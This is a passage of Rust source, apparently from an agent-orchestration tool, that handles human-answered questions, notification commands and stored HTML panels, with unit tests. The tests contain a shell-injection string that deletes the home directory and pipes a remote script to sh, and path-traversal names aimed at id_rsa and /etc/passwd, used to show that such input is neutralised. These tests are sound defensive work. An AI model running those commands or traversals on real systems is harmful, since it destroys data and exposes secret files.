1759 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1760 let (fresh, unread) = store
1764 .update(&q.id, |r| {
1765 let unread = r.unread_from_owner();
1766 if unread.is_none() {
1767 r.abandon(&why);
1768 r.waiter = None;
1769 }
1770 Ok(unread)
1771 })
1772 .context("record the abandoned question")?;
1773 *q = fresh;
1774 if let Some(said) = unread {
1775 return Ok(Wait::Replied(said));
1776 }
1777 tracing::warn!(
1778 "question {} went unanswered for {}s; the run parks and the \
1779 question stays as the record of it",
1780 q.short(),
1781 timeout.as_secs()
1782 );
1783 return Ok(Wait::Abandoned);
1784 }
1785 tokio::time::sleep(poll.min(deadline - now)).await;
1786 store.beat(&q.id, WaiterKind::Asker);
1787 match store.get(&q.id) {
1788 Ok(fresh) if !fresh.status.open() => {
1789 *q = fresh;
1793 return Ok(match q.resolution() {
1794 Some(a) => Wait::Answered(a),
1795 None => Wait::Abandoned,
1798 });
1799 }
1800 Ok(fresh) => {
1801 if let Some(said) = fresh.unread_from_owner() {
1802 *q = fresh;
1803 return Ok(Wait::Replied(said));
1804 }
1805 }
1808 Err(e) => {
1809 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1813 }
1814 }
1815 }
1816}
1817
1818pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1829 notify_text(cmd, &q.run, &q.summary).await
1830}
1831
1832pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1835 let Some((program, args)) = cmd.command.split_first() else {
1836 return Ok(());
1838 };
1839 let url = web_url();
1840 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1841 tracing::warn!(
1842 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1843 so the link will be empty - export it next to `magi serve` with \
1844 the address `magi web --open` printed"
1845 );
1846 }
1847 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1848 tracing::debug!(program = %program, args = ?argv, "notifying");
1849
1850 let mut child = tokio::process::Command::new(program);
1851 child.quiet();
1852 child
1853 .args(&argv)
1854 .stdin(std::process::Stdio::null())
1855 .kill_on_drop(true);
1858 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1859 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1860 Err(_) => bail!(
1861 "notification command `{program}` did not finish within {}s",
1862 NOTIFY_TIMEOUT.as_secs()
1863 ),
1864 };
1865 if !out.status.success() {
1866 let stderr = String::from_utf8_lossy(&out.stderr);
1867 let why = stderr
1868 .lines()
1869 .rev()
1870 .find(|l| !l.trim().is_empty())
1871 .unwrap_or("no output on stderr")
1872 .trim();
1873 bail!(
1874 "notification command `{program}` exited with {}: {why}",
1875 out.status
1876 );
1877 }
1878 Ok(())
1879}
1880
1881fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1887 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1888 let mut out = String::with_capacity(template.len());
1889 let mut rest = template;
1890 while let Some(at) = rest.find('{') {
1891 out.push_str(&rest[..at]);
1892 let tail = &rest[at..];
1893 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1894 Some((token, value)) => {
1895 out.push_str(value);
1896 rest = &tail[token.len()..];
1897 }
1898 None => {
1899 out.push('{');
1901 rest = &tail[1..];
1902 }
1903 }
1904 }
1905 out.push_str(rest);
1906 out
1907}
1908
1909fn web_url() -> String {
1911 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1912}
1913
1914fn question_url(base: &str) -> String {
1921 let base = base.trim().trim_end_matches('/');
1922 if base.is_empty() || base.contains('#') {
1923 return base.to_owned();
1924 }
1925 format!("{base}/#/questions")
1926}
1927
1928fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1933 let index = dir.join(PANEL_HTML);
1934 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1935 for (name, src) in assets {
1936 let dst = dir.join(name);
1937 std::fs::copy(src, &dst)
1938 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1939 }
1940 Ok(())
1941}
1942
1943fn clear_dir(path: &Path) -> Result<()> {
1948 match std::fs::remove_dir_all(path) {
1949 Ok(()) => Ok(()),
1950 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1951 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1952 }
1953}
1954
1955fn read_path(path: &Path) -> Result<Question> {
1956 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1957 let q: Question =
1958 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1959 if q.schema > SCHEMA {
1960 bail!(
1965 "question {} was written by a newer magi (schema {}, this build \
1966 only speaks up to {SCHEMA})",
1967 q.id,
1968 q.schema
1969 );
1970 }
1971 Ok(q)
1972}
1973
1974pub fn short_id(id: &str) -> &str {
1976 short(id)
1977}
1978
1979fn short(id: &str) -> &str {
1980 id.split('-').next_back().unwrap_or(id)
1981}
1982
1983fn new_id() -> String {
1984 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1985 let seed = crate::rng::entropy();
1986 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1987}
1988
1989#[cfg(test)]
1990mod tests {
1991 use super::*;
1992
1993 fn store() -> (tempfile::TempDir, Questions) {
1996 let dir = tempfile::tempdir().unwrap();
1997 let s = Questions::at(dir.path().join("questions"));
1998 (dir, s)
1999 }
2000
2001 #[test]
2002 fn run_names_task_only_for_task_questions() {
2003 for (node, want) in [
2004 (crate::conduct::NODE, true),
2005 (crate::triage::NODE, true),
2006 (crate::triage::DEPS_NODE, true),
2007 (crate::land::APPROVAL_NODE, false),
2008 (crate::bump::NOTICE_NODE, false),
2009 ("implement", false),
2010 ] {
2011 let mut q = choice_question();
2012 q.node = node.to_owned();
2013 assert_eq!(q.run_names_task(), want, "{node}");
2014 }
2015 }
2016
2017 #[test]
2018 fn deleting_a_run_stops_its_questions_asking() {
2019 let (_dir, store) = store();
2020
2021 let mut open_one = choice_question();
2022 store.put(&mut open_one).unwrap();
2023 let mut answered = free_question();
2024 answered
2025 .answer(Answer::Text("keep this".to_owned()))
2026 .unwrap();
2027 store.put(&mut answered).unwrap();
2028 let mut elsewhere = choice_question();
2029 elsewhere.run = "20260903-105039-3cbf".to_owned();
2030 store.put(&mut elsewhere).unwrap();
2031
2032 let n = store
2033 .abandon_for_run(&open_one.run, "run was deleted")
2034 .unwrap();
2035 assert_eq!(n, 1, "only the open question of that run");
2036
2037 let back = store.get(&open_one.id).unwrap();
2038 assert!(!back.status.open(), "it no longer asks for a decision");
2039 assert!(
2040 back.detail.contains("run was deleted"),
2041 "the operator can see why: {}",
2042 back.detail
2043 );
2044
2045 let kept = store.get(&answered.id).unwrap();
2046 assert_eq!(
2047 kept.status,
2048 QuestionStatus::Answered,
2049 "an answered question is a decision on record, not something to revoke"
2050 );
2051 assert!(
2052 store.get(&elsewhere.id).unwrap().status.open(),
2053 "another run's question is untouched"
2054 );
2055 assert!(store.open_for(&open_one.run).is_empty());
2056 }
2057
2058 #[test]
2059 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2060 let (_dir, store) = store();
2061 let mut q = choice_question();
2062 store.put(&mut q).unwrap();
2063
2064 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2066 assert_eq!(n, 0);
2067 assert!(store.get(&q.id).unwrap().status.open());
2068
2069 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2072 assert_eq!(n, 1);
2073 let back = store.get(&q.id).unwrap();
2074 assert!(!back.status.open());
2075 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2076
2077 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2079 }
2080
2081 fn choice_question() -> Question {
2082 Question::new(
2083 "20260902-201256-9fb7".to_owned(),
2084 "implement".to_owned(),
2085 "impl-A".to_owned(),
2086 "Which storage backend should the cache use?".to_owned(),
2087 "Both are already dependencies.".to_owned(),
2088 vec!["SQLite".to_owned(), "Redis".to_owned()],
2089 )
2090 }
2091
2092 fn free_question() -> Question {
2093 Question::new(
2094 "20260902-201256-9fb7".to_owned(),
2095 "review".to_owned(),
2096 "rev-1".to_owned(),
2097 "What should the error message say?".to_owned(),
2098 String::new(),
2099 Vec::new(),
2100 )
2101 }
2102
2103 fn quiet() -> config::Notify {
2105 config::Notify::default()
2106 }
2107
2108 #[test]
2109 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2110 let mut q = choice_question();
2114 q.id = "20260902-231501-ab12".to_owned();
2115 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2116 let keys: Vec<&str> = open
2120 .as_object()
2121 .unwrap()
2122 .keys()
2123 .map(String::as_str)
2124 .collect();
2125 assert_eq!(
2126 keys,
2127 [
2128 "actions",
2129 "answer",
2130 "answer_delivered",
2131 "answer_timeout",
2132 "answered_at",
2133 "asked_at",
2134 "assets",
2135 "choices",
2136 "consult",
2137 "cwd",
2138 "decision_context",
2139 "delivered_turns",
2140 "deputy",
2141 "detail",
2142 "id",
2143 "merge_target",
2144 "node",
2145 "panel",
2146 "run",
2147 "schema",
2148 "seat",
2149 "status",
2150 "summary",
2151 "thread",
2152 "triage_generation",
2153 "waiter",
2154 ],
2155 "the on-disk field set is a contract with the front end"
2156 );
2157 assert_eq!(open["schema"], 11);
2158 assert_eq!(open["merge_target"], serde_json::Value::Null);
2159 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2160 assert_eq!(open["thread"], serde_json::json!([]));
2161 assert_eq!(open["id"], "20260902-231501-ab12");
2162 assert_eq!(open["run"], "20260902-201256-9fb7");
2163 assert_eq!(open["node"], "implement");
2164 assert_eq!(open["seat"], "impl-A");
2165 assert_eq!(open["status"], "open");
2166 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2167 assert_eq!(open["answered_at"], serde_json::Value::Null);
2168 assert_eq!(open["answer"], serde_json::Value::Null);
2169 let asked = open["asked_at"].as_str().unwrap();
2170 assert!(
2171 asked.ends_with('Z') && asked.contains('T'),
2172 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2173 );
2174
2175 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2177 let answered = serde_json::to_value(&q).unwrap();
2178 assert_eq!(answered["status"], "answered");
2179 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2180 assert!(answered["answered_at"].is_string());
2181
2182 let mut free = free_question();
2184 free.answer(Answer::Text("Say which file it was".to_owned()))
2185 .unwrap();
2186 assert_eq!(
2187 serde_json::to_value(&free).unwrap()["answer"],
2188 serde_json::json!({"text": "Say which file it was"})
2189 );
2190
2191 let body = serde_json::to_string(&q).unwrap();
2193 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2194 }
2195
2196 #[test]
2197 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2198 let (_dir, store) = store();
2199 let mut q = approval_question();
2200 q.merge_target = Some(crate::merge_decision::Target {
2201 pr: "https://github.com/example/repo/pull/42".into(),
2202 head: "reviewed-head".into(),
2203 language: "ja".into(),
2204 });
2205 store.put(&mut q).unwrap();
2206 let saved = store.get(&q.id).unwrap();
2207 assert_eq!(saved, q);
2208 let mut body = serde_json::to_value(&saved).unwrap();
2209 assert_eq!(body["schema"], 11);
2210 assert_eq!(
2211 body["merge_target"],
2212 serde_json::json!({
2213 "pr": "https://github.com/example/repo/pull/42",
2214 "head": "reviewed-head",
2215 "language": "ja"
2216 })
2217 );
2218
2219 body["schema"] = serde_json::json!(10);
2222 body.as_object_mut().unwrap().remove("merge_target");
2223 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2224 let legacy = store.get(&q.id).unwrap();
2225 assert_eq!(legacy.schema, 10);
2226 assert!(legacy.merge_target.is_none());
2227 assert_eq!(legacy.choices, q.choices);
2228 assert_eq!(legacy.status, q.status);
2229 }
2230
2231 #[test]
2232 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2233 let mut unoffered = choice_question();
2236 let a = unoffered
2237 .answer(Answer::Choice("Postgres".to_owned()))
2238 .unwrap_err()
2239 .to_string();
2240
2241 let mut typed = choice_question();
2242 let b = typed
2243 .answer(Answer::Text("use Postgres".to_owned()))
2244 .unwrap_err()
2245 .to_string();
2246
2247 let mut blank = free_question();
2248 let c = blank
2249 .answer(Answer::Text(" \n".to_owned()))
2250 .unwrap_err()
2251 .to_string();
2252
2253 let mut twice = choice_question();
2254 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2255 let d = twice
2256 .answer(Answer::Choice("Redis".to_owned()))
2257 .unwrap_err()
2258 .to_string();
2259
2260 assert!(a.contains("not one of the choices"), "{a}");
2261 assert!(b.contains("multiple choice"), "{b}");
2262 assert!(c.contains("empty"), "{c}");
2263 assert!(d.contains("already answered"), "{d}");
2264 let mut distinct = vec![a, b, c, d];
2265 let asked = distinct.len();
2266 distinct.sort_unstable();
2267 distinct.dedup();
2268 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2269
2270 assert_eq!(unoffered.status, QuestionStatus::Open);
2272 assert_eq!(typed.status, QuestionStatus::Open);
2273 assert_eq!(blank.status, QuestionStatus::Open);
2274 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2276
2277 let mut free = free_question();
2279 let e = free
2280 .answer(Answer::Choice("SQLite".to_owned()))
2281 .unwrap_err()
2282 .to_string();
2283 assert!(e.contains("free text"), "{e}");
2284 }
2285
2286 #[test]
2287 fn open_questions_are_listed_before_answered_ones() {
2288 let (_dir, s) = store();
2289 let mut old_open = choice_question();
2292 old_open.id = "20260101-000001-aaaa".to_owned();
2293 let mut new_open = choice_question();
2294 new_open.id = "20260101-000002-bbbb".to_owned();
2295 let mut answered = choice_question();
2296 answered.id = "20260101-000003-cccc".to_owned();
2297 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2298 for q in [&mut old_open, &mut new_open, &mut answered] {
2299 s.put(q).unwrap();
2300 }
2301
2302 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2303 assert_eq!(
2304 ids,
2305 [
2306 "20260101-000002-bbbb",
2307 "20260101-000001-aaaa",
2308 "20260101-000003-cccc"
2309 ],
2310 "what has stopped work comes first; history sorts underneath"
2311 );
2312 assert_eq!(s.count_open(), 2);
2313 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2314 assert!(s.open_for("some-other-run").is_empty());
2315 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2317 assert!(s.get("20260101-000002-bbbb").is_ok());
2318 assert!(s.resolve_id("nope").is_err());
2319 assert!(
2320 s.revision() > 0,
2321 "the store's mtime drives the phone's polling"
2322 );
2323 }
2324
2325 #[test]
2326 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2327 let (_dir, s) = store();
2328 let mut good = choice_question();
2329 s.put(&mut good).unwrap();
2330 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2332 let future = serde_json::json!({
2333 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2334 "seat": "s", "summary": "?", "detail": "", "choices": [],
2335 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2336 "answered_at": null, "answer": null,
2337 });
2338 std::fs::write(
2339 s.path_of("20260101-000010-beef"),
2340 serde_json::to_string(&future).unwrap(),
2341 )
2342 .unwrap();
2343
2344 let listed = s.list();
2345 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2346 assert_eq!(listed[0].id, good.id);
2347 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2349 assert!(e.contains("schema"), "{e}");
2350 }
2351
2352 #[tokio::test]
2353 async fn the_wait_returns_the_answer_another_process_wrote() {
2354 let (dir, s) = store();
2359 let mut q = choice_question();
2360 let id = q.id.clone();
2361 let writer = Questions::at(dir.path().join("questions"));
2362 let handle = tokio::spawn(async move {
2363 tokio::time::sleep(Duration::from_millis(30)).await;
2364 let mut fresh = writer.get(&id).expect("the question was filed first");
2365 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2366 writer.put(&mut fresh).unwrap();
2367 });
2368
2369 let got = wait_for_owner(
2370 &mut q,
2371 &s,
2372 &quiet(),
2373 Duration::from_secs(5),
2374 Duration::from_millis(10),
2375 )
2376 .await
2377 .unwrap();
2378
2379 handle.await.unwrap();
2380 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2381 assert_eq!(
2382 q.status,
2383 QuestionStatus::Answered,
2384 "the caller's copy is refreshed from the answering process's record"
2385 );
2386 assert!(q.answered_at.is_some());
2387 }
2388
2389 #[tokio::test]
2390 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2391 let (_dir, s) = store();
2392 let mut q = choice_question();
2393
2394 let got = wait_for_owner(
2395 &mut q,
2396 &s,
2397 &quiet(),
2398 Duration::from_millis(60),
2399 Duration::from_millis(10),
2400 )
2401 .await
2402 .unwrap();
2403
2404 assert_eq!(
2405 got,
2406 Wait::Abandoned,
2407 "a slow human is not an error; the run parks"
2408 );
2409 assert_eq!(q.status, QuestionStatus::Abandoned);
2410 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2411 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2412 assert!(
2413 on_disk.detail.contains("Abandoned:"),
2414 "why nobody answered belongs with the question: {}",
2415 on_disk.detail
2416 );
2417 assert!(on_disk.resolution().is_none());
2418 assert_eq!(s.count_open(), 0);
2419 }
2420
2421 #[tokio::test]
2422 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2423 let (_dir, s) = store();
2428 let mut q = choice_question();
2429 s.put(&mut q).unwrap();
2430
2431 let got = wait_loop(
2432 &mut q,
2433 &s,
2434 Duration::from_secs(3600),
2435 Duration::from_millis(30),
2436 Duration::from_millis(10),
2437 )
2438 .await
2439 .unwrap();
2440
2441 assert_eq!(
2442 got,
2443 Wait::Pending,
2444 "the clock on this call ran out, not the owner's patience"
2445 );
2446 assert_eq!(
2447 q.status,
2448 QuestionStatus::Open,
2449 "a slice expiring must never abandon the question"
2450 );
2451 let on_disk = s.get(&q.id).expect("still on disk, still open");
2452 assert_eq!(
2453 on_disk.status,
2454 QuestionStatus::Open,
2455 "nothing about the record changed just because this call gave up"
2456 );
2457 }
2458
2459 #[tokio::test]
2460 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2461 let (dir, s) = store();
2466 let mut q = choice_question();
2467 s.put(&mut q).unwrap();
2468
2469 let first = wait_loop(
2470 &mut q,
2471 &s,
2472 Duration::from_secs(3600),
2473 Duration::from_millis(30),
2474 Duration::from_millis(10),
2475 )
2476 .await
2477 .unwrap();
2478 assert_eq!(first, Wait::Pending);
2479
2480 let id = q.id.clone();
2481 let writer = Questions::at(dir.path().join("questions"));
2482 let mut fresh = writer.get(&id).unwrap();
2483 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2484 writer.put(&mut fresh).unwrap();
2485
2486 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2491 .await
2492 .unwrap();
2493 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2494 assert_eq!(q.status, QuestionStatus::Answered);
2495 }
2496
2497 #[tokio::test]
2498 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2499 let (dir, s) = store();
2509 let mut q = choice_question();
2510 s.put(&mut q).unwrap();
2511
2512 let first = wait_loop(
2513 &mut q,
2514 &s,
2515 Duration::from_secs(3600),
2516 Duration::from_millis(30),
2517 Duration::from_millis(10),
2518 )
2519 .await
2520 .unwrap();
2521 assert_eq!(first, Wait::Pending);
2522
2523 let id = q.id.clone();
2525 let writer = Questions::at(dir.path().join("questions"));
2526 let mut fresh = writer.get(&id).unwrap();
2527 fresh.say("why not Postgres?").unwrap();
2528 writer.put(&mut fresh).unwrap();
2529
2530 let mut resumed = s.get(&id).unwrap();
2534 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2535 .await
2536 .unwrap();
2537 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2538 assert_eq!(
2539 resumed.status,
2540 QuestionStatus::Open,
2541 "talking back is not a decision; the question stays open"
2542 );
2543 }
2544
2545 #[tokio::test]
2546 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2547 let (dir, s) = store();
2551 let broken = config::Notify {
2552 command: vec![
2553 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2554 "{summary}".to_owned(),
2555 ],
2556 };
2557 let mut q = choice_question();
2558 assert!(
2559 notify(&broken, &q).await.is_err(),
2560 "the caller is told; it decides that it does not matter"
2561 );
2562
2563 let id = q.id.clone();
2564 let writer = Questions::at(dir.path().join("questions"));
2565 let handle = tokio::spawn(async move {
2566 tokio::time::sleep(Duration::from_millis(30)).await;
2567 let mut fresh = writer.get(&id).unwrap();
2568 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2569 writer.put(&mut fresh).unwrap();
2570 });
2571 let got = wait_for_owner(
2572 &mut q,
2573 &s,
2574 &broken,
2575 Duration::from_secs(5),
2576 Duration::from_millis(10),
2577 )
2578 .await
2579 .unwrap();
2580 handle.await.unwrap();
2581 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2582
2583 assert!(notify(&quiet(), &q).await.is_ok());
2585 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2586 }
2587
2588 #[test]
2589 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2590 let mut q = choice_question();
2591 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2592 let template = [
2593 "ntfy".to_owned(),
2594 "publish".to_owned(),
2595 "--click".to_owned(),
2596 "{url}".to_owned(),
2597 "--title".to_owned(),
2598 "magi {run} needs you".to_owned(),
2599 "{summary}".to_owned(),
2600 ];
2601 let argv: Vec<String> = template
2602 .iter()
2603 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2604 .collect();
2605
2606 assert_eq!(
2607 argv,
2608 [
2609 "ntfy",
2610 "publish",
2611 "--click",
2612 "http://100.64.0.1:7777/#/questions",
2613 "--title",
2614 "magi 20260902-201256-9fb7 needs you",
2615 "; rm -rf ~ && curl evil.sh | sh #",
2616 ],
2617 "the shell metacharacters are one argument's contents, not syntax"
2618 );
2619
2620 q.summary = "should {url} be configurable?".to_owned();
2623 assert_eq!(
2624 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2625 "should {url} be configurable?"
2626 );
2627 assert_eq!(
2629 expand("{title}: {run}", &q.run, &q.summary, ""),
2630 "{title}: 20260902-201256-9fb7"
2631 );
2632 assert_eq!(
2633 expand("no placeholders", &q.run, &q.summary, "http://x"),
2634 "no placeholders"
2635 );
2636 }
2637
2638 #[test]
2639 fn the_notification_link_lands_on_the_view_that_can_answer() {
2640 assert_eq!(
2641 question_url("http://100.64.0.1:7777"),
2642 "http://100.64.0.1:7777/#/questions"
2643 );
2644 assert_eq!(
2645 question_url("http://100.64.0.1:7777/"),
2646 "http://100.64.0.1:7777/#/questions"
2647 );
2648 assert_eq!(
2650 question_url("http://magi.ts.net/#/runs"),
2651 "http://magi.ts.net/#/runs"
2652 );
2653 assert_eq!(question_url(" "), "");
2655 }
2656
2657 fn panelled() -> Question {
2659 let mut q = choice_question();
2660 q.id = "20260903-014455-ab12".to_owned();
2661 q
2662 }
2663
2664 #[test]
2665 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2666 let (dir, s) = store();
2667 let work = dir.path().join("worktree");
2668 std::fs::create_dir_all(&work).unwrap();
2669 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2670 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2671
2672 let mut q = panelled();
2673 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2674 s.put_panel(
2675 &mut q,
2676 html,
2677 &[work.join("table.png"), work.join("diff.svg")],
2678 )
2679 .unwrap();
2680 s.put(&mut q).unwrap();
2681
2682 assert!(q.panel);
2683 assert_eq!(
2684 q.assets,
2685 ["diff.svg", "table.png"],
2686 "sorted, not in the order the agent happened to pass them"
2687 );
2688 assert_eq!(
2689 s.panel_html(&q.id).as_deref(),
2690 Some(html),
2691 "the html is stored byte for byte; the agent authored the markup"
2692 );
2693 assert_eq!(
2694 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2695 Some(&b"<svg/>"[..])
2696 );
2697
2698 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2700 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2701 assert_eq!(json["panel"], true);
2702 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2703 let back = s.get(&q.id).unwrap();
2704 assert!(back.panel);
2705 assert_eq!(back.assets, q.assets);
2706
2707 std::fs::remove_dir_all(&work).unwrap();
2710 assert_eq!(
2711 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2712 Some(&b"\x89PNG"[..]),
2713 "a referenced asset would be gone with the worktree"
2714 );
2715 }
2716
2717 #[test]
2718 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2719 let (dir, s) = store();
2720 let mut q = panelled();
2721 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2722 s.put(&mut q).unwrap();
2723
2724 let secret = "this must never reach the browser";
2727 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2728 assert_eq!(
2729 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2730 secret,
2731 "the traversal is real: the operating system resolves this path \
2732 happily, which is why the name has to be refused before the join"
2733 );
2734
2735 let long = "x".repeat(200);
2736 for name in [
2737 "..",
2738 "../id_rsa",
2739 "..\\id_rsa",
2740 "sub/../id_rsa",
2741 "/",
2742 "\\",
2743 "/etc/passwd",
2744 "C:\\Windows\\win.ini",
2745 "",
2746 ".hidden",
2747 ".",
2748 long.as_str(),
2749 ] {
2750 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2751 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2752 assert!(
2753 e.contains("not a panel file name"),
2754 "`{name}` must be refused as a name, not attempted: {e}"
2755 );
2756 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2757 }
2758 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2761
2762 let hidden = dir.path().join(".hidden");
2765 std::fs::write(&hidden, "x").unwrap();
2766 let e = s
2767 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2768 .unwrap_err()
2769 .to_string();
2770 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2771 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2772 assert!(q.assets.is_empty());
2773 }
2774
2775 #[test]
2776 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2777 let (dir, s) = store();
2778 let mut q = panelled();
2779 s.put(&mut q).unwrap();
2780
2781 let big = dir.path().join("recording.png");
2784 std::fs::File::create(&big)
2785 .unwrap()
2786 .set_len(PANEL_MAX_BYTES)
2787 .unwrap();
2788
2789 let html = "<p>see the recording</p>";
2790 let total = PANEL_MAX_BYTES + html.len() as u64;
2791 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2792 assert!(
2793 e.contains(&PANEL_MAX_BYTES.to_string()),
2794 "the cap is named so the agent knows the limit: {e}"
2795 );
2796 assert!(
2797 e.contains(&total.to_string()),
2798 "the actual size is named so the agent knows by how much: {e}"
2799 );
2800
2801 assert!(!q.panel);
2802 assert!(q.assets.is_empty());
2803 let left: Vec<String> = std::fs::read_dir(s.root())
2804 .unwrap()
2805 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2806 .collect();
2807 assert_eq!(
2808 left,
2809 [format!("{}.json", q.id)],
2810 "a refused panel leaves neither a directory nor scratch: {left:?}"
2811 );
2812 }
2813
2814 #[test]
2815 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2816 let (dir, s) = store();
2817 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2818 std::fs::create_dir_all(&before).unwrap();
2819 std::fs::create_dir_all(&after).unwrap();
2820 std::fs::write(before.join("diff.png"), "before").unwrap();
2821 std::fs::write(after.join("diff.png"), "after").unwrap();
2822
2823 let mut q = panelled();
2824 let e = s
2825 .put_panel(
2826 &mut q,
2827 "<p>x</p>",
2828 &[before.join("diff.png"), after.join("diff.png")],
2829 )
2830 .unwrap_err()
2831 .to_string();
2832 assert!(e.contains("diff.png"), "{e}");
2833 assert!(
2834 e.contains("before") && e.contains("after"),
2835 "both sources are named, because the fix is to rename one: {e}"
2836 );
2837 assert!(!q.panel);
2838 assert!(!s.panel_dir(&q.id).exists());
2839 }
2840
2841 #[test]
2842 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2843 let (dir, s) = store();
2844 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2845 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2846
2847 let mut q = panelled();
2848 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2849 .unwrap();
2850 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2851 .unwrap();
2852
2853 assert_eq!(q.assets, ["new.png"]);
2854 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2855 assert!(
2856 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2857 "an asset from the first attempt would show a mix of two answers"
2858 );
2859
2860 s.drop_panel(&q.id).unwrap();
2861 assert!(s.panel_html(&q.id).is_none());
